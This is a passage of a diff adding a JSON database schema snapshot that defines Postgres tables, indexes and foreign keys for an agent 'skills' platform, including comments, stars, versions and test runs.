+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_comments_company_id_companies_id_fk": {
+          "name": "company_skill_comments_company_id_companies_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_comments_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_parent_comment_id_company_skill_comments_id_fk": {
+          "name": "company_skill_comments_parent_comment_id_company_skill_comments_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skill_comments",
+          "columnsFrom": [
+            "parent_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_author_agent_id_agents_id_fk": {
+          "name": "company_skill_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_stars": {
+      "name": "company_skill_stars",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_stars_skill_agent_idx": {
+          "name": "company_skill_stars_skill_agent_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_skill_user_idx": {
+          "name": "company_skill_stars_skill_user_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_company_skill_created_idx": {
+          "name": "company_skill_stars_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_stars_company_id_companies_id_fk": {
+          "name": "company_skill_stars_company_id_companies_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_stars_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_agent_id_agents_id_fk": {
+          "name": "company_skill_stars_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_inputs": {
+      "name": "company_skill_test_inputs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content": {
+          "name": "content",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by": {
+          "name": "created_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_inputs_company_skill_name_idx": {
+          "name": "company_skill_test_inputs_company_skill_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_inputs_company_skill_active_idx": {
+          "name": "company_skill_test_inputs_company_skill_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_inputs_company_id_companies_id_fk": {
+          "name": "company_skill_test_inputs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_inputs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_inputs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_run_templates": {
+      "name": "company_skill_test_run_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_run_templates_company_active_idx": {
+          "name": "company_skill_test_run_templates_company_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_run_templates_company_id_companies_id_fk": {
+          "name": "company_skill_test_run_templates_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_created_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_runs": {
+      "name": "company_skill_test_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_id": {
+          "name": "input_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_snapshot": {
+          "name": "input_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_version_id": {
+          "name": "skill_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_config_snapshot": {
+          "name": "agent_config_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_name": {
+          "name": "template_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_body": {
+          "name": "template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rendered_template_body": {
+          "name": "rendered_template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_description": {
+          "name": "harness_issue_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "output_document_key": {
+          "name": "output_document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'output'"
+        },
+        "output_snapshot": {
+          "name": "output_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_at": {
+          "name": "superseded_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_expires_at": {
+          "name": "harness_issue_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_deleted_at": {
+          "name": "harness_issue_deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_runs_company_skill_created_idx": {
+          "name": "company_skill_test_runs_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_issue_idx": {
+          "name": "company_skill_test_runs_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_input_created_idx": {
+          "name": "company_skill_test_runs_company_input_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "input_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_status_idx": {
+          "name": "company_skill_test_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_harness_expires_idx": {
+          "name": "company_skill_test_runs_company_harness_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_issue_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_runs_company_id_companies_id_fk": {
+          "name": "company_skill_test_runs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_runs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk": {
+          "name": "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_test_inputs",
+          "columnsFrom": [
+            "input_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk": {
+          "name": "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "skill_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_agent_id_agents_id_fk": {
+          "name": "company_skill_test_runs_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_issue_id_issues_id_fk": {
+          "name": "company_skill_test_runs_issue_id_issues_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_versions": {
+      "name": "company_skill_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_id": {
+          "name": "release_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_name": {
+          "name": "release_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_versions_skill_revision_idx": {
+          "name": "company_skill_versions_skill_revision_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_skill_release_idx": {
+          "name": "company_skill_versions_skill_release_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "release_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_skill_versions\".\"release_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_company_skill_created_idx": {
+          "name": "company_skill_versions_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_versions_company_id_companies_id_fk": {
+          "name": "company_skill_versions_company_id_companies_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_versions_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_author_agent_id_agents_id_fk": {
+          "name": "company_skill_versions_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skills": {
+      "name": "company_skills",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "markdown": {
+          "name": "markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "source_locator": {
+          "name": "source_locator",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_ref": {
+          "name": "source_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trust_level": {
+          "name": "trust_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown_only'"
+        },
+        "compatibility": {
+          "name": "compatibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compatible'"
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "icon_url": {
+          "name": "icon_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tagline": {
+          "name": "tagline",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_name": {
+          "name": "author_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "homepage_url": {
+          "name": "homepage_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "categories": {
+          "name": "categories",
+          "type": "text[]",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'"
+        },
+        "sharing_scope": {
+          "name": "sharing_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "public_share_token": {
+          "name": "public_share_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_skill_id": {
+          "name": "forked_from_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_company_id": {
+          "name": "forked_from_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "star_count": {
+          "name": "star_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "install_count": {
+          "name": "install_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "fork_count": {
+          "name": "fork_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "current_version_id": {
+          "name": "current_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skills_company_key_idx": {
+          "name": "company_skills_company_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_name_idx": {
+          "name": "company_skills_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_folder_idx": {
+          "name": "company_skills_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_categories_idx": {
+          "name": "company_skills_company_categories_idx",
+          "columns": [
+            {
+              "expression": "categories",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "company_skills_company_sharing_scope_idx": {
+          "name": "company_skills_company_sharing_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "sharing_scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_current_version_idx": {
+          "name": "company_skills_company_current_version_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_version_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_forked_from_idx": {
